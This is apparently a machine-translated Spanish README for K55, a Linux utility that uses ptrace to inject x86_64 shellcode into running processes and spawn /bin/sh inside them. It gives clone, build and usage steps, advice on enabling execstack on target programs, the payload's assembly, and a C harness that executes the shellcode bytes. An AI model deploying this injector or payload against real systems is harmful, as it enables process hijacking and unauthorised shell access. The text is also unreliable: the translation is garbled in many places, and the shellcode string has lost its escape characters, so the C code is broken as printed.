los K55 La útil de inyección de carga útil se utiliza para inyectar cargas bártulos de shellcode x86_64 en procesos en ejecución. La utilidad se desarrolló utilizando técnicas modernas de C ++ 11, así como algunas funciones tradicionales de C linux como ptrace()
.
El shellcode generado en el proceso de destino es de 27 bytes y ejecuta / bin / sh (genera un shell bash) adentro del espacio de direcciones del destino. En el futuro, permitiré a los usuarios ingresar su propio código de shell a través de argumentos de serie de comando.
Instalación
git clone https://github.com/josh0xA/K55.git
cd K55
chmod +x build-install.sh
./build-install.sh
Uso
Usage: ./K55 <process-name>
- nombre-proceso puede ser cualquier proceso linux con
r-xp
oexecstack
permisos.
Pruebas
Prueba 1) En una terminal (K55 / Directorio), ejecute: ./k55_example_process/k55_test_process
Prueba 2) En otro terminal, ejecute el inyector: ./K55 k55_test_process
En batalla
- Se genera un shell en k55_test_process cuando se ejecuta el inyector de shellcode K55 (como root).
Inyectar en un proceso transmitido
Shell engendrado en el objetivo
Limitaciones
Obviamente, ptrace(PTRACE_POKETEXT...)
Las llamadas no son las más disfrazadas. Entonces, algunas aplicaciones pueden jalonar el intención de K55. Aunque, para las pruebas de seguridad, asegúrese de activar execstack
para sus aplicaciones de destino. Por ejemplo, si estoy probando en gdb, antaño de inyectar, ejecutaría lo subsiguiente: sudo execstack -s /usr/bin/gdb
. Instale execstack desde su administrador de paquetes de distribuciones. Para los usuarios de Arch Linux, puede encontrar execstack en AUR.
Elaboración de la carga útil del caparazón
Nota: La subsiguiente es una demostración. La condena de carga útil ya está codificada en K55.
Implementación de ensamblaje de The Payload (citado de shell-storm (redirect))
main: xor eax, eax mov rbx, 0xFF978CD091969DD1 neg rbx push rbx push rsp pop rdi cdq push rdx push rdi push rsp pop rsi mov al, 0x3b syscall
- C-Implementación de la carga útil
#include <stdio.h> #include <string.h> // Shellcode breakdown of the assembly code. char code[] = "x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05"; int main() { printf("len:%d bytesn", strlen(code)); (*(void(*)()) code)(); return 0; }